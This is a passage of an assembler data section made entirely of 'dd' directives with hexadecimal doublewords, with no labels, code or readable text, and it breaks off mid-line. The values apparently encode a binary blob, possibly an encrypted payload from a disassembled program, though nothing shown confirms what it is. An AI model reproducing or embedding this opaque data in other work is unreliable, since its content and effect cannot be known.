dd 0AFF99858h, 761B803Ch, 3494280Fh, 7EAB51DEh, 0F3348242h dd 4E953464h, 0D912384Bh, 4B8B1FACh, 501F4B04h, 8C0ADB45h dd 8255BEB5h, 0EB053782h, 7455745Ch, 5CBF06C3h, 6BFA034h dd 60CB0C57h, 93431F3Dh, 0FA1254B1h, 7E565AF5h, 0DE486BE6h dd 0A419F24Ah, 5C76D75Ah, 0E97018A9h, 96B69A76h, 0F3075DEFh dd 35B8BD7Dh, 0B715376Eh, 0CC78831Eh, 0AA40009Dh, 57AF748Bh dd 96D62CCBh, 0EE9D5FF9h, 69EA840Bh, 3B033C2Fh, 0E84707F8h dd 4065B22Dh, 3CDB93F0h, 2A48C2D1h, 99614637h, 0EE080B23h dd 434569DCh, 7B7849FDh, 73F80B07h, 1CD04637h, 3C116F16h dd 5547A6B1h, 750E959Bh, 691691E8h, 5C717064h, 0DC0618B1h dd 0A6B046C8h, 6409C6B6h, 681DAC58h, 9691AB69h, 0E77DACCBh dd 0F2D1C00Ah, 0D1AB6528h, 0A1908FE8h, 7480EF6Dh, 44CD0437h dd 0FE372847h, 8576BE65h, 0CAD8073h, 0F4BDAFBBh, 0F580F3EAh dd 8B986687h, 0C06F5A29h, 0B00D63B9h, 15F6F7F7h, 0FDDFB883h dd 5B9D1AF6h, 1C9FA9Eh, 0D023B858h, 37A537E4h, 16B41DB9h dd 14A60168h, 0E708C247h, 0A4045A90h, 3D6BDFFCh, 443B2987h dd 0BCF84D9Dh, 0AC739AD3h, 1DB8B744h, 17DA5E83h, 0A3FDF2h dd 77F0E8Eh, 0AA9B169Bh, 7474DCA5h, 9F7EAAD3h, 8FEA81BEh dd 7A44BE98h, 0E573C29Fh, 5A004CAFh, 8A9556C6h, 3AA1CFCh dd 0A841C9A3h, 80FD5493h, 5FA0089Eh, 5418EB90h, 2B9DE1BEh dd 0E109499Ch, 4B62FB3Bh, 25802615h, 41BAC30h, 408B338Fh dd 1287EAA0h, 1CDB5DFBh, 2A133F94h, 259D5DF5h, 79770FC5h dd 3C6D1AD6h, 6406F048h, 668C7184h, 149482D3h, 0BE6B31CEh dd 94D23378h, 1BCB28FAh, 0F78AEBEDh, 6A0DEEAAh, 21C60A1Dh dd 4E7F7204h, 0D56B6ABCh, 84589DCh, 0E1B2B428h, 49B0035Fh dd 3F153881h, 0ACAE1BE6h, 0F19F2280h, 67A15A06h, 9E17EA9Dh dd 12E7058Dh, 7A982688h, 785C4BF3h, 0B9984179h, 0DB2C405Dh dd 157B01EAh, 94AFFD76h, 2283179Fh, 95F6794Dh, 21ECEE0h dd 0D7E77B39h, 0BC75C7CCh, 8F9E24ACh, 4BA284DBh, 1E258EC7h dd 0AE397DB3h, 338E3CBDh, 8F4AE29Ch, 69D573B2h, 0FAFA373Ch dd 0A16349FBh, 40206A56h, 0BE23603Fh, 0EEE2975Ch, 9529EED5h dd 3E83747Dh, 8FC6C958h, 0ECDCF53h, 0E8F166CDh, 6A698598h dd 80962CF9h, 566FA5F2h, 98BB51BAh, 82D42C3Ah, 772069F2h dd 79FDB3B2h, 5FDB42D4h, 2850AC51h, 799B4394h, 0FA39BEA1h dd 46D357E1h, 521AA212h, 7DAF7A08h, 0A5DDC4F9h, 0D2A9C699h dd 6008C402h, 0FE3A8899h, 89CADA05h, 0FE6F1151h, 1E3CEAA6h dd 0A728E684h, 0B31392ECh, 646577A3h, 54F82907h, 2E55EA43h dd 0F5BDF6AAh, 4E7F79CEh, 0EF0FE41h, 1AEB19C1h, 9A836D7h dd 5EF10099h, 30E65C7Ch, 787E3230h, 1A80AEB1h, 12E7058Dh dd 7A982688h, 4843A1B1h, 0F0C58EBh, 18380333h, 10D50F01h dd 57B632F4h, 0ACA4F40Ah, 7A93D207h, 0C44BF126h, 0C0EE2E83h dd 0F38BFB2Ah, 68B48189h, 0F5FDFD1Eh, 3340DE52h, 0A4935A31h dd 8EA25B87h, 5B9808FAh, 12830BABh, 0B6C386B7h, 0C8B31F92h dd 0FD949A4Ah, 0A84C3547h, 967951D2h, 0DA476722h, 0BF8AF78Bh dd 92F58561h, 8379450Eh, 30384CEDh, 62D33092h, 0E67F5ABBh dd 827ABB44h, 0F0E61EA8h, 154A32A8h, 42F9D20Eh, 0A6A6D673h dd 53F9B9B5h, 419EE81h, 0FEAAC541h, 8EAE7BE4h, 3006945Fh dd 0AA6A505Eh, 710A3493h, 0FADA783Fh, 750E959Bh, 691691E8h dd 0FE2C2251h, 0EC9FB727h, 28354AF6h, 0C5F96E72h, 56299046h dd 40EA15B3h, 0AAE618FBh, 0F4C9C621h, 82B214C4h, 5CDCA123h dd 0B3466F8Bh, 0F796502Bh, 2E3B105Ah, 25BAA637h, 770A0AEAh dd 0E7EFFD53h, 52344DB6h, 932DD60Ah, 1F1DA572h, 0DBAF3F09h dd 37C36E5h, 0E5C1F3C0h, 5AB3A8B1h, 0F310E19Fh, 5E4A18A9h dd 76D154C5h, 0A1E73D08h, 21D405D5h, 0C977F717h, 9F8D876Eh dd 0BFFF50BEh, 77F1AD28h, 77F95F2Ah, 9294895Dh, 5EB96C27h dd 0F4BB3C61h, 9E6640E0h, 6EB33A6Eh, 8DC07EE7h, 40D61A03h dd 18E1C491h, 2BFB5036h, 0C532581Ah, 0C06CF974h, 4B3CD63Dh dd 0E451E9CEh, 0B691E37Eh, 442D7976h, 915ED356h, 88979B10h dd 762BAC88h, 572DBE5Bh, 0E4B235ABh, 0DB2E8988h, 0B68EA782h dd 55844E0Bh, 0D807D4E9h, 0F77D733Ch, 0CF7BA1AEh, 9DB00BEEh dd 2E1EACD0h, 9023C6EFh, 6A831904h, 2CBFFD0Bh, 114FA1AAh dd 947DEC0Ah, 235AD3AFh, 63CB77BEh, 81A769D5h, 0C141BCFh dd 8C445208h, 3254F6BDh, 0A06AEEFDh, 95008FE1h, 0FD6BEBB7h dd 9BB02C8Ch, 0C65D8EF2h, 0A7FE54D8h, 0B647A349h, 5DD0D21Fh dd 0D4FFC795h, 86EFC47Bh, 0AF9AB1CFh, 0DDB3722Eh, 0DE809691h dd 3D3EEA0h, 4488CD65h, 4F1498E2h, 0D4CAFBD9h, 0D9B6E233h dd 3715DFC4h, 23DAEDA5h, 333CF10Ah, 59B7C12Dh, 0FB244143h dd 0D0684C05h, 0AA3D0DFBh, 6525FAF1h, 92E49BD9h, 89F4681Bh dd 8DD8F691h, 0E2B4A4Ch, 0BF1361BAh, 2F20318Ch, 0A0DF7814h dd 5DD82FDFh, 0C7CCB5A0h, 80EF9A2Bh, 7DD92D2Bh, 6E3BC375h dd 6E1B1B46h, 0F1B31CC7h, 5F821284h, 0A374949Ch, 83499E14h dd 0F7F14C29h, 2CBFB44Eh, 7D850DE2h, 985F216h, 0D58EB386h dd 0D6A21B5Dh, 2A0890E3h, 7F2EB14Eh, 3A383BC9h, 0E43BCB7h dd 40DC9C5Dh, 596F084Eh, 0A8C13222h, 0A53B86D7h, 0BA3C35D1h dd 0A9BF3404h, 4C9CB7F7h, 4882ED5Bh, 62DB4E78h, 0EDAB161Eh dd 6997F62Ch, 0E48ECC81h, 0EE98DAF7h, 396814CBh, 328FEAABh dd 0CF5C79D6h, 7FA40191h, 0EBF47570h, 0FCC1569Fh, 7D373E67h dd 0E93B8D9Dh, 12E7058Dh, 7A982688h, 0F51354ECh, 0C0D28721h dd 94C97Ah, 9088B0C5h, 0FA30A1D7h, 12992FDCh, 7FA33B09h dd 93A725EEh, 0A17477DDh, 21F6DDAAh, 0A3B24DCBh, 0A68B3AC8h dd 9DBB4F25h, 8FA11284h dd 0F4E69E6Bh, 0BCA8B6F4h, 0D38A2ED8h, 0C88A6C82h, 0CB14424Ah dd 3459BBAEh, 1072A5B5h, 377EBB56h, 28B1AD4Bh, 4DC4D667h dd 0DD516090h, 37289A7Ch, 0FC634B8Ch, 0B642A287h, 4F85E966h dd 0F871F9E3h, 61630E15h, 7656E1AEh, 0EFF572F5h, 9A6BA8F6h dd 5FDB42D4h, 2850AC51h, 484F4C9Ch, 5DEEBA24h, 4804C479h dd 237AD05Eh, 13471004h, 0E56D0805h, 0A343B591h, 2B56FA3Eh dd 0C3E0F9BCh, 0ACCA4808h, 0FE2EEFB5h, 7ECC03Dh, 80039305h dd 0A5E85581h, 0BD69CDDDh, 5BEB1267h, 0C6D81FAFh, 9C0557C4h dd 0B5CCB28Bh, 1018B3E7h, 6E8A1FC4h, 389B7538h, 0B039BAEDh dd 0ECAE9E70h, 665B9718h, 4AE84F19h, 0D68289F3h, 0AA6DB3CEh dd 0DB11ADEFh, 87A21850h, 0AAD37DB7h, 59A825AAh, 8957CF94h dd 0F1D34A6Bh, 5DA6BD94h, 68E21226h, 0C1461F25h, 0CC87AF52h dd 0A201F7CFh, 0E8E8D8CAh, 503FE2A1h, 2F35DAA5h, 0D9293AB8h dd 65D69644h, 0F276145Ah, 0B3096F7Ah, 49EE42DAh, 146D6E83h dd 3FD58855h, 0FCE790E1h, 0A5837738h, 916A9C40h, 0EE679465h dd 6907FE43h, 9020E78Eh, 41D577Eh, 0D0406985h, 1191B63h dd 9BB2A289h, 0E43F2A64h, 11B978DCh, 738877F1h, 5FDB42D4h dd 2850AC51h, 0A496E7DAh, 1AEB1639h, 205C677Ah, 0F73D2F2Ch dd 0DE644B17h, 0A46E042Ch, 8D347E4Bh, 0E696A289h, 0F2A082A0h dd 141BA1C1h, 0B09E93A1h, 403F89AFh, 0B16073A9h, 51A5BC35h dd 535D0143h, 65E8A6EDh, 0F3D714CBh, 0FB9CE9FFh, 0DBB134C8h dd 0FE16B2D0h, 5756D63Bh, 0C6EB5D7Bh, 75978E81h, 3E34224Eh dd 0D38A67B3h, 601DD31h, 0B38D7049h, 0DCD97FAAh, 0A588E1CEh dd 0B3897BB4h, 381856B9h, 61949D1Ch, 0CBB10C35h, 83F0DFD6h dd 0A714C3F5h, 3043DAh, 0BE6B8E35h, 931FD46Ah, 70E6EEF5h dd 34A2FECAh, 305F009h, 9DD156CAh, 973CF946h, 4EE6C4C2h dd 8B634F1Dh, 0F7FA4214h, 349AF73Bh, 6F76E2Dh, 0F3D9A5DAh dd 8D298495h, 53C912B2h, 32AAB2E7h, 0B36A85B1h, 0B9FC2A5Ah dd 5BE4FA30h, 0AB50F5B8h, 0DE011802h, 6C26EB9Ch, 0E7D40401h dd 5E70A3B3h, 0EA29C9C6h, 0EE8836E6h, 86FE6E9Eh, 70EB04F6h dd 694A338Ch, 8354FCF7h, 7925D678h, 0E0FB8D31h, 0C080DEC8h dd 15614E46h, 0F2E8F2B7h, 3709F354h, 0C90AA731h, 7523E294h dd 0C68073BBh, 91C7BF63h, 0C879532Eh, 38BD110Ch, 9CC2A191h dd 0A0878C5Ah, 1DDA8342h, 0D7B6621Bh, 1AD7D439h, 453C99B5h dd 35CEDBF8h, 76CD8DDCh, 0D797152Fh, 1039A4Fh, 0B79A0264h dd 41DDD17Ah, 2BC9C480h, 0FB7C67F1h, 0F4D77CB3h, 8BCA39FEh dd 52091E48h, 7867390Ah, 2ADD701Ah, 0AC8FD9A9h, 0E54F30h dd 0C4F7A500h, 4D38FA86h, 76A8CD78h, 0FE2ABF59h, 46BCA3FDh dd 0F1E4F7Fh, 0CFB42D86h, 18EA7E69h, 0C7D17D0h, 85F04F66h dd 31C2013Bh, 617EAAD7h, 1DAFEB7h, 0DC82241h, 0C32A9DF6h dd 0D37CC26Ah, 294D6D93h, 43011587h, 0AC6490E2h, 0D0D4B545h dd 0A57A22CBh, 13D52647h, 9DFB92Eh, 15AC8797h, 0F6413207h dd 0C984C3D7h, 0C12D2057h, 0D184C3F1h, 0E72D2EAFh, 6DAFFC44h dd 9A0899C2h, 0E6CF00CDh, 0FE82EDC2h, 0AF80CE90h, 6DE7516h dd 975410FDh, 81CD54F6h, 6FAB50BDh, 0BDF74808h, 0BDD32BA2h dd 2D70E4D5h, 91A6B402h, 0ACE41FCAh, 0AE38D45Ch, 670BDB14h dd 260C0AC2h, 25EDDFFh, 0E1D62628h, 56CAFC5Fh, 93CE5307h dd 18E756D2h, 0FD6B6A7Bh, 0FF4D731Bh, 34A66672h, 579A043Bh dd 0B2EB9484h, 5F662C20h, 3A955CDh, 4EA51FFh, 65F745AEh dd 8EA70B46h, 0B99ED133h, 9EAE58C7h, 2AE46C4h, 0E3D4F24Ch dd 2B135A8Dh, 0D8E501DFh, 0DE92A048h, 4D38348Dh, 60FA1EFCh dd 0A1B26827h, 0A8C5AEBEh, 89C3573h, 0BE515AC4h, 0A249F5EAh dd 9ABF10Bh, 0AA43062Ah, 2290A49Bh, 0A245773Fh, 5757C18h dd 7F8B4CD7h, 23F4D099h, 0DCE8CA73h, 30384CEDh, 62D33092h dd 5E05B46Ch, 0ECF59279h, 9FF9371Fh, 0C390A8A7h, 1C24474Dh dd 0CCB40DCBh, 1F299956h, 0A7FB39AEh, 0C02117A1h, 0D1803FDAh dd 159BBD0Ah, 9AFA2586h, 0EA5D6470h, 0A5F893D8h, 9CC54BAEh dd 0F74979B6h, 0E027A99Eh, 213A392Ch, 52532E7h, 0E182736Ch dd 0A3EBEC20h, 0BF244113h, 0F407BBD9h, 0C1603C6Fh, 789D8CC1h dd 48CC31Eh, 92CE412Fh, 64645D38h, 21C828A9h, 0C87A229Ch dd 8387CA39h, 3146A72Ch, 9A6DCC12h, 9F8FC4AFh, 2D107878h dd 16BD8822h, 53F08040h, 8A7FCB01h, 1DD44F8Eh, 87E50267h dd 26D391F7h, 0B6BB03EAh, 0D4AEB0B2h, 4C8F3F1Ch, 5B836EBh dd 0F64C03FFh, 0CEF3DABDh, 0D44CFECAh, 0B132700Bh, 2E28010Ah dd 8643EE58h, 4B578C58h, 0F36EBF5Ch, 9F6CB457h, 390E6413h dd 27049BFCh, 0EA50B13Eh, 0D2731E63h, 8C0251C1h, 0BD24C1FFh dd 565AEE62h, 0A0EF0A83h, 0A61C64E5h, 286B0214h, 0C383110Fh dd 82757B9Dh, 52DD0E4Dh, 241B8BDCh, 0D850120Eh, 5157FD26h dd 1C82D150h, 74C14E3Bh, 0C6B58916h, 0C8CE4CF9h, 0DBFDE659h dd 709B0794h, 0FD636177h, 0E23E7E89h, 1EB91D9Ch, 0C27DC8EDh dd 65165BB9h, 0AAB5EE19h, 0BB97EE8h, 0F7254A4Ah, 0DD46AA90h dd 0B39BB294h, 868B4002h, 0CC1FE8Ch, 3260BF5Eh, 0D34C7AADh dd 0CEDC116Ch, 0CA265B3Fh, 27944199h, 0CC72CD15h, 0F97662C2h dd 436FBD14h, 4A949E18h, 0BD4366B5h, 0FDEDE89Bh, 0F622E362h dd 5E5B60C7h, 80C09EF4h, 7BD14129h, 0F62A3BA7h, 43324689h dd 0DE9DD846h, 41913E4Ch, 0A1A94B27h, 2ACC1B55h, 0F837DD65h dd 1879A22Ch, 0BB0558D9h, 1D9D3482h, 10D341C1h, 9157F3EAh dd 3CA2B565h, 0E449C43h, 0F0FA7406h, 995D0913h, 93390C63h dd 0A652EAA1h, 0A2CCF48Dh, 791AE3C1h, 7E2C5F77h, 1E061515h dd 0E8BC97DCh, 324240E9h, 0EBB14991h, 0A3DE5A2Ch, 59483C71h dd 739BF8Ch, 0D601959Bh, 32D41CF6h, 39CB5828h, 754452F4h dd 0F8AE13F0h, 0BAC8029Ch, 0C6E89E28h, 45675CD9h, 0DC56946Bh dd 0DEEAC942h, 0CF1638EEh, 30EF96BCh, 77CFD7D1h, 356D0B0Bh dd 0E67B6EFFh, 8C79E0BBh, 64353BF6h, 7F41AC2Bh, 137405ECh dd 0E62C4EA6h, 21A78163h, 0CAFD3CE2h, 8C6A06E4h, 6ABF1C86h dd 0ED7950FCh, 97EF1262h, 0A382B34Ah, 8DB8BD37h, 0ACFC323Dh dd 0E3849AC4h, 0DD31C9DCh, 4B273B7Ch, 0E46465AFh, 0FE4D4F79h dd 4D171335h, 0C115F262h, 0A28FE7CBh, 4C3A4B6Ah, 5D099AB6h dd 8230AA01h, 93024FC3h, 0DE97D81Ah, 7BAA8B3Eh, 7CF2A7B7h dd 686D831Ah, 5DCF8EFBh, 544432E6h, 0B04BD0F2h, 5D05BB4Ah dd 0F1AA95D3h, 5B1706FAh, 928D3847h, 318214B0h, 7529A1F6h dd 0E8366DDh, 9001A911h, 5C942D4Ah, 2DC0A497h, 0AF02161Eh dd 7F578A82h, 549AD6F7h, 79F55F56h, 0FE6AFFAAh, 7E107106h dd 23892A16h, 0BA8DBD2Ch, 98FFE421h, 0E4074C26h, 8FB8A149h dd 12C4BED6h, 0AEF382h, 6FDA912Ch, 276C1359h, 0FCCC41Fh dd 0ED3E0D42h, 47B40BC3h, 0A44653FCh, 7865793Ah, 8C69770Eh dd 0CF780522h, 98D5CE39h, 0C54F2FD9h, 230DE091h, 1AA0BC0Dh dd 24B9FEEFh, 9CBB5C22h, 46351FEDh, 0DE88AF67h, 726CBBDh dd 3687D401h, 0DBDB043Eh, 0C42A4E1Bh, 0ABC7FA18h, 36B96BA9h dd 45007760h, 33A817B2h, 0CF516EC4h, 0AEC3ED8Fh, 4D3F105h dd 0EAFF5653h, 0AD4B8383h, 0C6CF734Ch, 6009A42h, 0CC5DD4CFh dd 0AFF773E8h, 77E4BF8Ch, 5E24C6C5h, 0F2607D54h, 14D7F3A0h dd 5E177FECh, 5E70426Dh dd 0A53FC3CBh, 0F8E09C9Fh, 0E0B08EFh, 473675F5h, 97A17E40h dd 51DCB3C1h, 0F6C9536h, 79C71A0Ch, 587BC35Bh, 8588550h dd 132FE007h, 6B7EF5BDh, 55EF19C7h, 6C7C4C79h, 0B1BAC9BEh dd 2843E0C6h, 8F15362h, 966DCBCBh, 0E8C37C7Dh, 0D9AFD907h dd 46CD3167h, 581140C5h, 971622C9h, 0C1C0A012h, 47C5714Bh dd 0F4706247h, 0B17897D9h, 64486173h, 0CA9048B6h, 0AD2B512Dh dd 0E409333Dh, 1399AD01h, 66FC408Ah, 34E198CAh, 8C2A1DF8h dd 5F017DD3h, 4571FFA5h, 125FB1F0h, 5F4D711Fh, 348338E6h dd 39FC0D8Dh, 0D2573EF7h, 158554CBh, 2A974895h, 0D2A31FDCh dd 58ACA8EBh, 0A14DF26Eh, 0BE3BAB5Ch, 1BDEE9A7h, 9B63BD69h dd 0A9FFABE5h, 58012284h, 0DF06A70Ah, 0BE623930h, 0F5CF708Ch dd 203652D7h, 0DD790EDDh, 0D0BD65Ch, 0F2A283D3h, 0AB0B16F8h dd 5AD493F8h, 0FF749BCDh, 6829F665h, 81C3D77Eh, 91033A23h dd 92042630h, 0E396AD19h, 0F478D6C8h, 5FAAEB53h, 615C51E4h dd 71B1AC68h, 0B0B57D86h, 62EC4E90h, 0EBE8ABFCh, 0F55B6911h dd 5F61C17Eh, 6CCF0ECDh, 0B43B7201h, 41B4A89Dh, 0FFE9A794h dd 39BD71B2h, 0F461C0AAh, 7D67211Bh, 0F551BFF5h, 58DDB48Fh dd 0BF1E0389h, 90C46F20h, 0D7FC408Ah, 797D244Eh, 6B1ACAAh dd 0B09EB36Fh, 29BDDA48h, 0E965532Dh, 0D69D7C8Ah, 0D08D9BA2h dd 2A9ED7C8h, 0B9D18F7Bh, 0B0CDA7EEh, 0E096F369h, 84A06B90h dd 38B18D64h, 87990E6Ch, 40F35858h, 0B3967B33h, 84A05DCEh dd 503B15BDh, 0B21EEE36h, 6E546B8Ch, 1F9C4715h, 99EF054h dd 4FABEFFCh, 8FA5C95Ch, 0E08E1028h, 0E998EF81h, 0A443E691h dd 1059D6B4h, 0BC1B9E86h, 1FDE7941h, 4FBFF8EAh, 44E14139h dd 0A7F5FCE0h, 0D64F6232h, 3A37DC54h, 0DF3E2DB3h, 846E2D5Ch dd 0E809972Fh, 9D890A62h, 0A1B8FC2Fh, 59ABAC6Ah, 6178FA49h dd 6DFB732Ch, 1A1E0CB6h, 0CCD4C3AAh, 7093B854h, 9ED6F59Eh dd 9C7CB4DEh, 4D1C14Bh, 6D34B2B7h, 6491CAF5h, 0A1DAB6B5h dd 37B8C680h, 6EF9332Bh, 77AF75D5h, 94312C3Fh, 4683E452h dd 2D71CF81h, 366071FEh, 0B539553Ah, 7991E445h, 3660788Ch dd 19626CBEh, 647E6282h, 0FACFECDDh, 7C9FC67Bh, 0EE9364h dd 274E13ACh, 62135738h, 0F5D8AAABh, 0A1B33E5Fh, 0B20B7771h dd 0B570BB48h, 23131109h, 0DDCF90CBh, 603C5E64h, 1C53540Ch dd 0C03DBA34h, 0CB6B7578h, 3CEA441h, 3AF3DCEFh, 262B9515h dd 0ED9E0491h, 0B454B4EAh, 0C4B85568h, 0D29B7742h, 9B0F1A14h dd 66ED18D7h, 0D988B7BCh, 0B50E9E33h, 0F9DA0C0Eh, 35E68515h dd 0FB9B8B6Ah, 3BF90877h, 7895DCBFh, 9340B10Bh, 44889A2Fh dd 659911E1h, 475A26B5h, 3FFAC88Eh, 0A9C43301h, 78ADEB7Fh dd 7F5C5E03h, 956CD830h, 0AFC613F0h, 12A53865h, 1C844EF6h dd 0A932BB8h, 3169359Eh, 0A712759h, 0F2E02393h, 7D1A8513h dd 0E7D5F165h, 8507DA0Bh, 0C43759C2h, 6E4C2287h, 76528526h dd 0C30987AEh, 0F3E81959h, 0D552B8C3h, 8E563934h, 18E870EFh dd 0FB7871E0h, 6259916Bh, 4EC16DE2h, 0D62F9C15h, 86A4006Dh dd 554642BFh, 47B7B2E3h, 5DAF7664h, 72FA7A6Ch, 0DBEA455Ch dd 0E7CD2720h, 0A7E9FE32h, 0A4E6C6D3h, 741FD1C4h, 0E4B4CEEFh dd 7C7FEC18h, 0C130F98h, 0EA248688h, 5F91B3CBh, 48B606A5h dd 0E710B1C6h, 1B004E8Eh, 398623Eh, 0DCBBA7F8h, 2335A9D4h dd 8A08C1E5h, 95002801h, 68C7EF20h, 0A4C8F824h, 1BD0B8Fh dd 7CF36097h, 8229DDC4h, 0C9F7C52h, 76EA83FAh, 0FAC61084h dd 17D2408h, 9DADCC71h, 0BB1369CAh, 6C784D6Bh, 184B4BDh dd 0B489F818h, 0EAA2C983h, 0DB596C88h, 74764DFAh, 922F9A6h dd 60FC8428h, 47FEF0BDh, 8BBC6C99h, 0ECB55446h, 651153D8h dd 919FDBABh, 966C1D7Bh, 3CA3F166h, 0E7CAEAD1h, 7C324745h dd 21585250h, 54EEAC65h, 0D661D316h, 0CBF68E8Ah, 2AD6C570h dd 5862481Fh, 759B4DEFh, 0B295982Ch, 371FB2D9h, 0BAADDC89h dd 38CF132Dh, 4A4E969Bh, 0F1690A05h, 0FB8BCEF3h, 893DAF6Eh dd 59AB4F88h, 4D4E2435h, 0D477800Eh, 0E8E0D093h, 4818CB5Fh dd 0E9C408F7h, 0BAC814F5h, 555F0C7Dh, 0B15F8A87h, 4F28691Fh dd 69C04DDDh, 184652E4h, 0A547C92Dh, 6615DC85h, 106C2190h dd 245C60Bh, 993E3111h, 41611299h, 0D30F1D42h, 35007723h dd 0B07FDA17h, 0C363D84Ah, 0F39C96AFh, 1107096Fh, 9AF27626h dd 0D6355B49h, 7BBCD464h, 66888BAEh, 0F462C06Ah, 28B042B6h dd 69405172h, 99894C92h, 0F70BEF7Dh, 43513AA7h, 46A4C0ACh dd 0D40890C2h, 3ACBEFF6h, 55C3739Ch, 94CC4C5Ah, 0C079DACEh dd 0F0E8EABFh, 3A9139B5h, 0EC045259h, 96FE62A0h, 7903BAD1h dd 6001BB2Dh, 16999A3Dh, 53ED8F64h, 0CA3D0E49h, 0DD074642h dd 430DCCF6h, 828AD3DCh, 0A5759469h, 0F048458Dh, 0CAD5E206h dd 309734DFh, 0EED96FB7h, 0FC6330Bh, 0AE554AEh, 0C168190Dh dd 4470A6BBh, 34C918B2h, 6FE84383h, 81597910h, 0BA1587B8h dd 0D4CA9F67h, 0D3AC6430h, 934BCC7Fh, 6807101Eh, 0B8CBF3A4h dd 9CCEC06Dh, 408A8AB8h, 0E3AFE865h, 7E740946h, 46827FF8h dd 8AE2C5B8h, 8C445208h, 3254F6BDh, 4ECC72A7h, 0DBA47C22h dd 0FA26F70Ah, 0FD9FE83h, 46475A22h, 21022404h, 0E575456h dd 0BD29CB01h, 0DE7835F1h, 6C74DF9Ch, 7BA19B7Fh, 66A575C3h dd 81B9D2AFh, 1594D9E8h, 2F13B7A9h, 4B848485h, 73161E65h dd 75AD43C5h, 40EEF628h, 0B3B2CCC2h, 0FFAEDD4Bh, 0E9FABEC4h dd 9AE8C371h, 0AA3EA483h, 0F79AB48Ch, 920B5AE2h, 37869B22h dd 311DE281h, 0F43ED4ADh, 632FD924h, 669AC1F8h, 0DA0DBFF7h dd 0BFC25F43h, 0C35F33B5h, 4BC9E282h, 64E10A6Bh, 0F9B659CFh dd 0D3CC66EDh, 0DF444162h, 44AE1D7Dh, 852CA642h, 0C8B20A3h dd 0D63225Ah, 892DB9B2h, 8D4002B1h, 586A8653h, 0A2AE6601h dd 284B1E2Fh, 5B41FB46h, 0E4A3F84Eh, 0DB8B4F50h, 754A2787h dd 0A7281A9Ah, 934D2A81h, 0B2B5B9CFh, 6017FCDCh, 0CEEBCE9Ah dd 0E7886F18h, 0BA31945Ch, 0AF7E7F87h, 9239E6ACh, 6C9C6ADCh dd 7E40C17Ch, 0BF74E850h, 0A88DA77Fh, 9CDEB694h, 7266ECA4h dd 99799A80h, 27689A96h, 83E6E747h, 6264AC51h, 1DC6ED12h dd 0D073F35Dh, 44C824Ch, 74FCD088h, 61DE51D9h, 584490Ah dd 0BA111572h, 0C6ECE2D3h, 49D1DBAEh, 2DE12241h, 2A0BBA0Ah dd 585A5F72h, 2D83A499h, 796D50A7h, 889F2345h, 3BA55AF5h dd 0D8A1843Eh, 6B2DD90Dh, 0ECEE072Ch, 18E30AAEh, 14DD61h dd 446FBDEEh, 597CDE9Fh, 83D28DA4h, 0EF5A5F3Ch, 0D66DB958h dd 6C5AFDA9h, 0D433947h, 7C40F688h, 519221F3h, 2B283E9Ah dd 58D1F19Ah, 35C1B0Dh, 4C67B37Eh, 0E5398CC6h, 0B1B9C10Bh dd 0FDC70DABh, 9FAE7A29h, 0FA02A431h, 0C2BE588Eh, 0BC64487Ch dd 15E58C85h, 9AF31869h, 53A0CE42h, 21438h, 142B7BA2h dd 0B3F34210h, 0E719A117h, 16A3B56Ah, 3B81FB7Eh, 0E3CF2890h dd 0F76DA669h, 0F1BB221Bh, 0FEF948AAh, 0C8E4D18Dh, 60708D8Eh dd 165ECAAAh, 1EA1A7ABh, 84F4103Dh, 96A1A5B9h, 0D13136DBh dd 356CA2D8h, 689F2E6Fh, 0DAEF63DEh, 3107DF8Bh, 964273DEh dd 0CD890ABEh, 0ADD1C7B5h, 86B6E91h, 0F5B86649h, 0A85D675Dh dd 0C391465Ah, 0F93D1F2Ch, 69717117h, 2D211707h, 0AFF0B62Bh dd 1F046C2Ch, 0D241D7B0h, 0CA42BF3Dh, 9D6BACF6h, 0C7030239h dd 7E1A33BEh, 0B5F984A6h dd 1803CCF9h, 0B84EC726h, 0BA4286DAh, 32CE6295h, 0BA90E636h dd 0D6A0C620h, 6AE43400h, 0CE70AAE1h, 0D43E59D2h, 60D964D9h dd 98020063h, 151107FCh, 6B77190Bh, 0E56A1447h, 0E6EAE2CEh dd 3786F5D1h, 0DE07BFF7h, 16D37D17h, 9DB52401h, 0E4D1F8E6h dd 5B28BDCCh, 2C88C573h, 5E719FB7h, 0DA07433Bh, 1BE18CA8h dd 39F2A85Bh, 9577F324h, 0D3430A4Ah, 6CDE82C4h, 60379342h dd 25301B4Ah, 0E4941503h, 0E1157500h, 3F4FAA60h, 786A6559h dd 0F9620F5Dh, 0FE5FA3F6h, 21B09991h, 0D9028628h, 967C1704h dd 27A3C205h, 86F4D9F3h, 0E7E45B30h, 0F10DCAF7h, 0CC9EB5A2h dd 7073043Eh, 0CEAEAC1Fh, 0AB690AA3h, 9A4C947Dh, 44810669h dd 488F136Ch, 0C3F444EDh, 0E8DB0864h, 27249D54h, 66007AFEh dd 0A1C7C3B1h, 157F0A35h, 61CCD5BCh, 0C614900Ah, 0B0B5DA42h dd 3A5B2429h, 0FAF581DDh, 1FCF4C25h, 44E19BDFh, 2264884Ah dd 120B99B0h, 0EBD17AD8h, 0ED0F65EFh, 0FE795ADEh, 0B108DE5Bh dd 0DFCB41D8h, 0BCD8394Fh, 85AE9D6h, 0AF2B2BC1h, 23CB5731h dd 0C59AD266h, 0DE0E492Eh, 51DAAB95h, 803DB944h, 5784AFCAh dd 0AA6C4B30h, 0DB197D2Fh, 364E28DDh, 7D85D663h, 635AE5EBh dd 7A266C67h, 0E0AFBFB4h, 0F764ADAFh, 0FD76E785h, 0CBE1CD20h dd 2B549950h, 32DB0D85h, 0D7B8E1F9h, 0CE8041A5h, 317815ECh dd 6B0D046Ah, 2FC02603h, 0A6244737h, 5E700CC9h, 0A0717BF7h dd 38A8108Ch, 0F4F5068Ah, 0C9093E38h, 6EAF9CC3h, 7CF28F9Dh dd 8A226CF7h, 0A34247F0h, 73118B45h, 6C52B93Ch, 0F11145DEh dd 15C58C4h, 0E442CAA9h, 130D4797h, 1F6E88B7h, 0CF1E0D95h dd 0D387506Ch, 2D0B861Bh, 0DE301647h, 519DB1BCh, 0ADD4D799h dd 0E35C24CDh, 42909122h, 57EA27B4h, 1333128Ah, 0D0D5D1Eh dd 8D44A6D4h, 0CF5E920Bh, 6F78DB8h, 6CCEC475h, 0FD8835EBh dd 0F07E886Dh, 4E89EC13h, 0DA19ADBh, 6EA32913h, 3F75CAB5h dd 91D3E164h, 3B73A0EBh, 0CE74F354h, 1AA4A57Bh, 13D9C1C1h dd 67A23E9Fh, 58B6A94Fh, 0F004AA9h, 795FF2B8h, 0FF6C93F8h dd 87894C43h, 0AED70043h, 0E72E76C9h, 0A44273B0h, 2B78EB9h dd 